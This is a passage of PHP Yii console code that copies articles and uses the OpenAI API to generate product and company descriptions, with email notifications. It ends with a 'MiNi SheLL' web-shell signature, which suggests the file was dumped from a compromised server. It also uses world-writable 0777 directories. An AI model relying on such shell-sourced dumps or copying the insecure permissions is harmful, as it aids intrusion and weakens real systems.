                $newImageFilename = \common\models\Articles::createImageFileName(substr($fileInfo['basename'], 0, strrpos($fileInfo['basename'], '-')), $fileInfo['extension']); 
                $modelNewArticle->image_filename = $newImageFilename;  
                $modelNewArticle->image_transform = \common\models\types\ImageTransform::FRAME;
                $sourceImagePath = $modelProduct->getImageUrl();
            }
        }
        
        if(!$modelNewArticle->validate()) {
            var_dump('tutaj 1');
            var_dump($modelNewArticle->getErrors());
            return false;
        }
        
        $transaction = Yii::$app->db->beginTransaction();
        
        if(!$modelNewArticle->save()) {
            $transaction->rollBack();
            var_dump('tutaj 2');
            return false;
        }
        
        foreach($modelTask->ids_portals as $idPortal) {
            $modelArticleHasPortal = new \common\models\ArticlesHasPortals();
            $modelArticleHasPortal->id_article = $modelNewArticle->id_article;
            $modelArticleHasPortal->id_portal = $idPortal;
            if(!$modelArticleHasPortal->save()) {
                $transaction->rollBack();
                var_dump('tutaj 3');
                return false;
            }
            
            $idArticleCategory = \common\models\ArticlesCategories::find()
                    ->select(['id_category'])
                    ->where([
                        'id_portal' => $idPortal,
                        'category_type' => $modelTask->category_type
                    ])
                    ->limit(1)
                    ->scalar();
            if(empty($idArticleCategory)) {
                $idArticleCategory = \common\models\ArticlesCategories::find()
                    ->select(['id_category'])
                    ->where([
                        'id_portal' => $idPortal,
                        'category_type' => \common\models\types\ArticleCategoryType::NEWS
                    ])
                    ->limit(1)
                    ->scalar();
            }
            
            if(!empty($idArticleCategory)) {
                $modelArticleHasArticleCategory = new \common\models\ArticlesHasArticlesCategories();
                $modelArticleHasArticleCategory->id_article = $modelNewArticle->id_article;
                $modelArticleHasArticleCategory->id_category = $idArticleCategory;
                if(!$modelArticleHasArticleCategory->save()) {
                    $transaction->rollBack();
                    var_dump('tutaj 4');
                    return false;
                }
            }
            
        }
        
        if(!empty($keywords)) {
            $modelsArticlesTags = \common\models\ArticlesTags::find()->where(['name' => $keywords])->indexBy('name')->all();

            foreach($keywords as $tag) {
                if(mb_strlen($tag) > 80) {
                    continue;
                }
                
                if(isset($modelsArticlesTags[$tag])) {
                    $modelArticleTag = $modelsArticlesTags[$tag];                    
                    //zwiększamy licznik taga i dodajemy powiązanie     
                    $modelArticleTag->setScenario('update');
                    $modelArticleTag->quantity += 1;
                } else {
                    //dodajemy tag oraz powiązanie
                    $modelArticleTag = new \common\models\ArticlesTags(['scenario' => 'create']);
                    $modelArticleTag->name = $tag;
                    $modelArticleTag->quantity = 1;
                }      
                
                if(!$modelArticleTag->save()) {
                    $transaction->rollBack();
                    return false;
                }

                $modelArticleHasTag = new \common\models\ArticlesHasArticlesTags();
                $modelArticleHasTag->id_article = $modelNewArticle->id_article;
                $modelArticleHasTag->id_tag = $modelArticleTag->id_tag;
                if(!$modelArticleHasTag->save()) {
                    $transaction->rollBack();
                    return false;
                } 
            }
        }
        
        $createdDirectiories = [];
        if(!empty($modelArticle)) {
            //kopiujemy załączniki, galerie zdjęć oraz pliki/zdjęcia osadzone w treści (dane dla WYSIWYG)
            
            if(!empty($modelArticle->attachments)) {
                foreach($modelArticle->attachments as $modelArticleAttachment) {
                    $modelNewAttachment = new \common\models\ArticlesAttachments(['scenario' => 'create']);
                    $modelNewAttachment->attributes = $modelArticleAttachment->attributes;
                    $modelNewAttachment->id_article = $modelNewArticle->id_article;
                    if(!$modelNewAttachment->save(false)) {
                        $transaction->rollBack();
                        var_dump('tutaj 5');
                        return false;
                    } 
                }
            }
            
            if(!empty($modelArticle->photos)) {
                foreach($modelArticle->photos as $modelArticlePhoto) {
                    $modelNewPhoto = new \common\models\ArticlesPhotos(['scenario' => 'create']);
                    $modelNewPhoto->attributes = $modelArticlePhoto->attributes;
                    $modelNewPhoto->id_article = $modelNewArticle->id_article;
                    if(!$modelNewPhoto->save(false)) {
                        $transaction->rollBack();
                        var_dump('tutaj 6');
                        return false;
                    } 
                }
            }
            
            $flag = true;
            if($flag && file_exists(Yii::getAlias('@articlesImagesRealPath').'/'.$modelArticle->id_article.'/')) {
                $createdDirectiories[] = Yii::getAlias('@articlesImagesRealPath').'/'.$modelNewArticle->id_article.'/';
                $flag = $this->copyDir(Yii::getAlias('@articlesImagesRealPath').'/'.$modelArticle->id_article.'/', Yii::getAlias('@articlesImagesRealPath').'/'.$modelNewArticle->id_article.'/');
            }
            if($flag && file_exists(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/')) {
                $createdDirectiories[] = Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelNewArticle->id_article.'/';
                $flag = $this->copyDir(Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/', Yii::getAlias('@sourcesRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelNewArticle->id_article.'/');
            }
            if($flag && file_exists(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/')) {
                $createdDirectiories[] = Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelNewArticle->id_article.'/';
                $flag = $this->copyDir(Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelArticle->id_article.'/', Yii::getAlias('@sourcesThumbsRealPath').'/'.Yii::getAlias('@articlesContentsImagesDirName').'/'.$modelNewArticle->id_article.'/');
            }
            if($flag && file_exists(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelArticle->id_article.'/')) {
                $createdDirectiories[] = Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelNewArticle->id_article.'/';
                $flag = $this->copyDir(Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelArticle->id_article.'/', Yii::getAlias('@articlesAttachmentsRealPath').'/'.$modelNewArticle->id_article.'/');
            }
            
            if(!$flag && !empty($createdDirectiories)) {
                foreach($createdDirectiories as $createdDirectiory) {
                    $this->removeDir($createdDirectiory);
                }
            }
        }
        
        if(!empty($sourceImagePath)) {            
            if(file_exists($sourceImagePath)) {
                $targetImagePath = Yii::getAlias('@articlesImagesRealPath').'/'.$modelNewArticle->id_article.'/'.$modelNewArticle->image_filename;
                $targetDir = Yii::getAlias('@articlesImagesRealPath').'/'.$modelNewArticle->id_article.'/';
                if(!file_exists($targetDir)) {
                    mkdir($targetDir, 0777, true);
                    $createdDirectiories[] = $targetDir;
                }

                if(copy($sourceImagePath, $targetImagePath) === FALSE) {                    
                    $transaction->rollBack();
                    if(!empty($createdDirectiories)) {
                        foreach($createdDirectiories as $createdDirectiory) {
                            $this->removeDir($createdDirectiory);
                        }
                    }
                    var_dump('tutaj 7');
                    return false;
                }
            } elseif(!empty($modelNewArticle->image_filename)) {
                $modelNewArticle->image_filename = null;
                $modelNewArticle->image_transform = null;
                $modelNewArticle->save(false);
            }
        } 
            
//        $transaction->rollBack();
        $transaction->commit();
        
        return $modelNewArticle;
    }
    
    public function actionGeneratePresentationDescription()
    {
        $consoleScriptSettings = ConsoleScriptsSettings::findOne(ConsoleScriptsSettings::KEY_OPENAI);
        if(empty($consoleScriptSettings)) {
            $this->stderr('Brak ustawien dla wybranej funkcjonalności.');
            return ExitCode::CONFIG;
        }
        
        if(intval($consoleScriptSettings->getSettingsKey('enabled')) === 0) {
            return ExitCode::OK;
        }
        
        $model = \common\models\TasksGeneratingPresentations::find()
                ->orderBy('created_at ASC')
                ->where([
                    'status' => \common\models\types\TaskOpenAIStatus::WAITING
                ])
                ->limit(1)
                ->one();
        
        if(empty($model)) {
            if(intval($consoleScriptSettings->getSettingsKey('notification_about_no_task')) === 1) {
                $this->stdout('Brak zadan do wykonania.');
            } 
            return ExitCode::OK;
        }
        
        $modelCompanyPresentation = \common\models\CompaniesPresentations::find()
                ->with([
                    'tags' => function($q) {
                        $q->orderBy('quantity DESC');
                    },
                    'company',
                    'portal',
                    'companiesTabs' => function($q) {
                        $q->andWhere(['id_tab' => [\common\models\PresentationsTabs::TAB_ABOUT_COMPANY, \common\models\PresentationsTabs::TAB_OFFER]]);
                        $q->indexBy('id_tab');
                        $q->with([
                            'page' => function($q2) {
                                $q2->select(['id_company_tab', 'lead', 'content']);
                            }
                        ]);
                    }
                ])
                ->where(['id_presentation' => $model->id_presentation])
                ->one();
                
        if(empty($modelCompanyPresentation)) {
            $model->error_message = 'Wybrana prezentacja nie istnieje.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->stdout('Brak danych niezbednych do wykonania zadania.');
            return ExitCode::OK;
        }
        
        $numberOfWords = $model->number_of_words;        
        $keywords = !empty($model->source_tags) ? $model->source_tags : [];     
        $sourceContent = !empty($model->source_content) ? $model->source_content : null;
        
        if(empty($sourceContent)) {
            $lead = !empty($modelCompanyPresentation->companiesTabs[$model->type]->page) ? strip_tags($modelCompanyPresentation->companiesTabs[$model->type]->page->content) : null;
            $content = !empty($modelCompanyPresentation->companiesTabs[$model->type]->page) ? strip_tags($modelCompanyPresentation->companiesTabs[$model->type]->page->content) : null;
            if(!empty($lead) || !empty($content)) {
                $sourceContent = trim($lead.' '.$content);
            }
        } 
        
        if(empty($model->source_tags)) {
            $tags = [];
            foreach($modelCompanyPresentation->tags as $modelTag) {
                $tags[] = $modelTag->name;
            }
            $keywords = !empty($tags) ? implode(', ', $tags) : [];
        } else {
            $keywords = $model->source_tags;
        } 
        
        $command = $model->command_content;
        
        $this->replaceCommandPart($command, '###NUMBER_OF_WORDS###', $numberOfWords);
//        $this->replaceCommandPart($command, '###COMPANY_NAME###', $modelCompanyPresentation->company->name);        
//        $this->replaceCommandPart($command, '###COMPANY_LOCALITY###', $modelCompanyPresentation->company->locality);
        $this->replaceCommandPart($command, '###SOURCE_CONTENT###', $sourceContent);
        $this->replaceCommandPart($command, '###KEYWORDS###', $keywords);
        
        $model->parsed_command = $command;

        //@todo do odkomentowania jak już będzie ustalone zapytanie
        $response = '';
        list($orFinish, $responsePart, $errorMessage) = $this->makeCurl([['role' => 'user', 'content' => $command]], 1000);
        $response .= $responsePart;  
        
        $numberOfAttempts = 0;
        while(empty($errorMessage) && !$orFinish && $numberOfAttempts <= 3) {
            $numberOfAttempts++;
            
            $this->stdout('Prosimy o kontynuowanie.');
            
            list($orFinish, $responsePart) = $this->makeCurl([['role' => 'user', 'content' => 'Please keep writing.']], 1000);
            $response .= $responsePart;
        }
        
        if(!empty($errorMessage)) {
            $model->error_message = 'API error: '.$errorMessage;
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            $this->stderr('API error: '.$errorMessage);
            return ExitCode::CANTCREAT;
        }
        
//        $response = 'proteza';
        
        $model->raw_response = $response;
        
        list($outputLead, $outputContent) = $this->extractPartsForPresentationDescription($response);         
        if(empty($outputLead) || empty($outputContent)) {
            $model->error_message = 'Nie udało się otrzymać niezbędnych danych dla zakładki prezentacji.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->sendMailsNoDataForCompanyPresentationTab($model, $modelCompanyPresentation);
            
            $this->stderr('Nie udalo sie otrzymac niezbednych danych dla zakladki prezentacji.');
            return ExitCode::CANTCREAT;
        }
        
        $model->output_lead = $outputLead;
        $model->output_description = $outputContent;        
        $model->status = \common\models\types\TaskOpenAIStatus::UNUSED;
        $model->save(false);
        
        $this->sendMailsDataForCompanyPresentationTabPreparedSuccessfully($model, $modelCompanyPresentation);
        
        if(intval($consoleScriptSettings->getSettingsKey('notification_about_completed_task')) === 1) {
            $this->stdout('Poprawnie zapisano dane dla zakladki prezentacji.');
        }
        
        return ExitCode::OK;
    }
    
    protected function sendMailsDataForCompanyPresentationTabPreparedSuccessfully($modelTask, $modelCompanyPresentation)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        $presentationTabName = \common\models\PresentationsTabs::find()->select(['name'])->where(['id_tab' => $modelTask->id_tab])->scalar();
        
        //wysyłamy e-mail z informacją o nowo utworzonej za pomocą OpenAI treści dla zakładki prezentacji (###MAIL_80###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_description_for_presentation_created_by_openai_html',
                    'text' => 'notify_about_new_description_for_presentation_created_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelCompanyPresentation' => $modelCompanyPresentation,
                    'presentationTabName' => $presentationTabName
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść zakładki "{tab}" została utworzona: [{idCompany}] {companyName}', ['tab' => $presentationTabName, 'idCompany' => $modelCompanyPresentation->id_company, 'companyName' => $modelCompanyPresentation->company->name]))
            ->send();
        
        return $flag;
    }
    
    protected function sendMailsNoDataForCompanyPresentationTab($modelTask, $modelCompanyPresentation)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        $presentationTabName = \common\models\PresentationsTabs::find()->select(['name'])->where(['id_tab' => $modelTask->id_tab])->scalar();
        
        //wysyłamy e-mail z informacją o braku możliwości / błędzie podczas tworzenia treści dla zakładki prezentacji za pomocą OpenAI (###MAIL_83###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_issues_with_creating_description_for_presentation_by_openai_html',
                    'text' => 'notify_about_issues_with_creating_description_for_presentation_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelCompanyPresentation' => $modelCompanyPresentation,
                    'presentationTabName' => $presentationTabName
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść zakładki "{tab}" nie została utworzona: [{idCompany}] {companyName}', ['tab' => $presentationTabName, 'idCompany' => $modelCompanyPresentation->id_company, 'companyName' => $modelCompanyPresentation->company->name]))
            ->send();
        
        return $flag;
    }
    
    protected function extractPartsForPresentationDescription($data)
    {
        $lead = $this->extractDataPart($data, '{start lead}', '{stop lead}');
        $content = $this->extractDataPart($data, '{start content}', '{stop content}');  
        
        if(empty($content) || empty($lead)) {
            return [\yii\helpers\StringHelper::truncate($data, 300), $data];
        } 
        
        $this->cutUnnecessaryTags($content, '{start lead}', '{stop lead}');
        $this->cutUnnecessaryTags($lead, '{start content}', '{stop content}');
        
        return [$lead, $content];
    }
    
    public function actionGenerateProductDescription()
    {
        $consoleScriptSettings = ConsoleScriptsSettings::findOne(ConsoleScriptsSettings::KEY_OPENAI);
        if(empty($consoleScriptSettings)) {
            $this->stderr('Brak ustawien dla wybranej funkcjonalności.');
            return ExitCode::CONFIG;
        }
        
        if(intval($consoleScriptSettings->getSettingsKey('enabled')) === 0) {
            return ExitCode::OK;
        }
        
        $model = \common\models\TasksGeneratingProducts::find()
                ->orderBy('created_at ASC')
                ->where([
                    'status' => \common\models\types\TaskOpenAIStatus::WAITING
                ])
                ->limit(1)
                ->one();
        
        if(empty($model)) {
            if(intval($consoleScriptSettings->getSettingsKey('notification_about_no_task')) === 1) {
                $this->stdout('Brak zadan do wykonania.');
            } 
            return ExitCode::OK;
        }
        
        $modelProduct = \common\models\Products::find()
                ->with([
                    'tags' => function($q) {
                        $q->orderBy('quantity DESC');
                    },
                    'company',
                ])
                ->where(['id_product' => $model->id_product])
                ->one();
                    
        if(empty($modelProduct)) {
            $model->error_message = 'Wybrany produkt nie istnieje.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->stdout('Brak danych niezbednych do wykonania zadania.');
            return ExitCode::OK;
        }
        
        $numberOfWords = $model->number_of_words;        
        $keywords = !empty($model->source_tags) ? $model->source_tags : [];
        $sourceContent = !empty($model->source_content) ? $model->source_content : null;
        
        if(empty($sourceContent)) {
            $lead = !empty($modelProduct->lead) ? strip_tags($modelProduct->lead) : null;
            $description = !empty($modelProduct->description_plaintext) ? $modelProduct->description_plaintext : strip_tags($modelProduct->description);
            if(!empty($lead) || !empty($description)) {
                $sourceContent = trim($lead.' '.$description);
            } 
        } 

        if(empty($model->source_tags)) {
            $tags = [];
            foreach($modelProduct->tags as $modelTag) {
                $tags[] = $modelTag->name;
            }
            $keywords = !empty($tags) ? implode(', ', $tags) : [];
        } else {
            $keywords = $model->source_tags;
        } 
        
        $command = $model->command_content;
        
        $this->replaceCommandPart($command, '###NUMBER_OF_WORDS###', $numberOfWords);
//        $this->replaceCommandPart($command, '###COMPANY_NAME###', $modelProduct->company->name);        
//        $this->replaceCommandPart($command, '###COMPANY_LOCALITY###', $modelProduct->company->locality);
        $this->replaceCommandPart($command, '###SOURCE_CONTENT###', $sourceContent);
        $this->replaceCommandPart($command, '###KEYWORDS###', $keywords);
        
        $model->parsed_command = $command;

        //@todo do odkomentowania jak już będzie ustalone zapytanie
        $response = '';
        list($orFinish, $responsePart, $errorMessage) = $this->makeCurl([['role' => 'user', 'content' => $command]], 1000);
        $response .= $responsePart;  
        
        $numberOfAttempts = 0;
        while(empty($errorMessage) && !$orFinish && $numberOfAttempts <= 3) {
            $numberOfAttempts++;
            
            $this->stdout('Prosimy o kontynuowanie.');
            
            list($orFinish, $responsePart, $errorMessage) = $this->makeCurl([['role' => 'user', 'content' => 'Please keep writing.']], 1000);
            $response .= $responsePart;
        }
        
        if(!empty($errorMessage)) {
            $model->error_message = 'API error: '.$errorMessage;
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            $this->stderr('API error: '.$errorMessage);
            return ExitCode::CANTCREAT;
        }
        
//        $response = 'proteza';
        
        $model->raw_response = $response;
        
        list($outputLead, $outputDescription) = $this->extractPartsForProductDescription($response);
        
        if(empty($outputLead) || empty($outputDescription)) {
            $model->error_message = 'Nie udało się otrzymać niezbędnych danych dla produktu.';
            $model->status = \common\models\types\TaskOpenAIStatus::ERROR;
            $model->save(false);
            
            $this->sendMailsNoDataForProduct($model, $modelProduct);
            
            $this->stderr('Nie udalo sie otrzymac niezbednych danych dla produktu.');
            return ExitCode::CANTCREAT;
        }
        
        $model->output_lead = $outputLead;
        $model->output_description = $outputDescription;        
        $model->status = \common\models\types\TaskOpenAIStatus::UNUSED;
        $model->save(false);
        
        $this->sendMailsDataForProductPreparedSuccessfully($model, $modelProduct);
        
        if(intval($consoleScriptSettings->getSettingsKey('notification_about_completed_task')) === 1) {
            $this->stdout('Poprawnie zapisano dane dla produktu.');
        }
        
        return ExitCode::OK;
    }
    
    protected function sendMailsDataForProductPreparedSuccessfully($modelTask, $modelProduct)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        //wysyłamy e-mail z informacją o nowo utworzonej za pomocą OpenAI treści dla produktu (###MAIL_81###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_description_for_product_created_by_openai_html',
                    'text' => 'notify_about_new_description_for_product_created_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelProduct' => $modelProduct
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść opisu produktu została utworzona: [{idProduct}] {productName}', ['idProduct' => $modelProduct->id_product, 'productName' => $modelProduct->name]))
            ->send();
        
        return $flag;
    }
    
    protected function sendMailsNoDataForProduct($modelTask, $modelProduct)
    {
        if(empty($modelTask->emails)) {
            return true;
        }
        
        //wysyłamy e-mail z informacją o braku możliwości / błędzie podczas tworzenia treści dla produktu za pomocą OpenAI (###MAIL_84###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_issues_with_creating_description_for_product_by_openai_html',
                    'text' => 'notify_about_issues_with_creating_description_for_product_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelProduct' => $modelProduct,
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo((array)$modelTask->emails)
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść opisu produktu nie została utworzona: [{idProduct}] {productName}', ['idProduct' => $modelProduct->id_product, 'productName' => $modelProduct->name]))
            ->send();
        
        return $flag;
    }
    
    protected function extractPartsForProductDescription($data)
    {
        $lead = $this->extractDataPart($data, '{start lead}', '{stop lead}');
        $description = $this->extractDataPart($data, '{start description}', '{stop description}');  
        
        if(empty($description) || empty($lead)) {
            return [\yii\helpers\StringHelper::truncate($data, 300), $data];
        } 
        
        $this->cutUnnecessaryTags($description, '{start lead}', '{stop lead}');
        $this->cutUnnecessaryTags($lead, '{start description}', '{stop description}');
        
        return [$lead, $description];
    }
    
    public function actionDeleteCompletedTasks()
    {
        $date = new \DateTime();
        $date->modify('-5 days'); 
        
        $mongoUTCDateTime = new \MongoDB\BSON\UTCDateTime($date->getTimestamp()*1000);
        
        \common\models\TasksGeneratingArticles::deleteAll(['status' => \common\models\types\TaskOpenAIStatus::OK, 'updated_at' => ['$lte' => $mongoUTCDateTime]]);        
        \common\models\TasksGeneratingPresentations::deleteAll(['status' => \common\models\types\TaskOpenAIStatus::OK, 'updated_at' => ['$lte' => $mongoUTCDateTime]]);        
        \common\models\TasksGeneratingProducts::deleteAll(['status' => \common\models\types\TaskOpenAIStatus::OK, 'updated_at' => ['$lte' => $mongoUTCDateTime]]);
        
        return ExitCode::OK;
    }
    
    
    
    
    
    
    
    
    
    
    
    public function actionSendMailArticleCreatedSuccessfully()
    {
        $modelArticle = \common\models\Articles::find()->one();
        $modelTask = \common\models\TasksGeneratingArticles::find()->one();                
        
        //wysyłamy e-mail z informacją o nowo utworzonym za pomocą OpenAI artykule (###MAIL_79###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_article_created_by_openai_html',
                    'text' => 'notify_about_new_article_created_by_openai_text'
                ],
                [
                    'modelArticle' => $modelArticle,
                    'modelTask' => $modelTask,
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo('marcin@vertica.pl')
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Artykuł został utworzony [{id}]: {title}', ['id' => $modelArticle->id_article, 'title' => $modelArticle->title]))
            ->send();
        
        return $flag;
    }
    
    public function actionSendMailDataForCompanyPresentationTabPreparedSuccessfully()
    {
        $modelTask = \common\models\TasksGeneratingPresentations::find()->where(['not', 'id_presentation', ['$eq' => null]])->andWhere(['not', 'id_tab', ['$eq' => null]])->one();     
        if(!$modelTask) {
            $this->stderr('Brak zadania.');
            return ExitCode::DATAERR;
        }
        $modelCompanyPresentation = \common\models\CompaniesPresentations::findOne($modelTask->id_presentation);        
        $presentationTabName = \common\models\PresentationsTabs::find()->select(['name'])->where(['id_tab' => $modelTask->id_tab])->scalar();
        
        //wysyłamy e-mail z informacją o nowo utworzonej za pomocą OpenAI treści dla zakładki prezentacji (###MAIL_80###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_description_for_presentation_created_by_openai_html',
                    'text' => 'notify_about_new_description_for_presentation_created_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelCompanyPresentation' => $modelCompanyPresentation,
                    'presentationTabName' => $presentationTabName
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo('marcin@vertica.pl')
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść zakładki "{tab}" została utworzona: [{idCompany}] {companyName}', ['tab' => $presentationTabName, 'idCompany' => $modelCompanyPresentation->id_company, 'companyName' => $modelCompanyPresentation->company->name]))
            ->send();
        
        return $flag;
    }
    
    public function actionSendMailDataForProductPreparedSuccessfully()
    {
        $modelTask = \common\models\TasksGeneratingProducts::find()->one();   
        if(!$modelTask) {
            $this->stderr('Brak zadania.');
            return ExitCode::DATAERR;
        }
        $modelProduct = \common\models\Products::find()->where(['id_product' => $modelTask->id_product])->one();
        
        //wysyłamy e-mail z informacją o nowo utworzonej za pomocą OpenAI treści dla produktu (###MAIL_81###) 
        $mailer = Yii::$app->mailer;
        $mailer->htmlLayout = 'layouts/main-html';      
        $mailer->textLayout = 'layouts/main-text';           
        $flag = $mailer->compose(
                [
                    'html' => 'notify_about_new_description_for_product_created_by_openai_html',
                    'text' => 'notify_about_new_description_for_product_created_by_openai_text'
                ],
                [
                    'modelTask' => $modelTask,
                    'modelProduct' => $modelProduct
                ]
            )
            ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
            ->setTo('marcin@vertica.pl')
//            ->setTo('r.sobieszczyk86@gmail.com')
            ->setSubject(Yii::t('common-mails', 'Treść opisu produktu została utworzona: [{idProduct}] {productName}', ['idProduct' => $modelProduct->id_product, 'productName' => $modelProduct->name]))
            ->send();
        
        return $flag;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com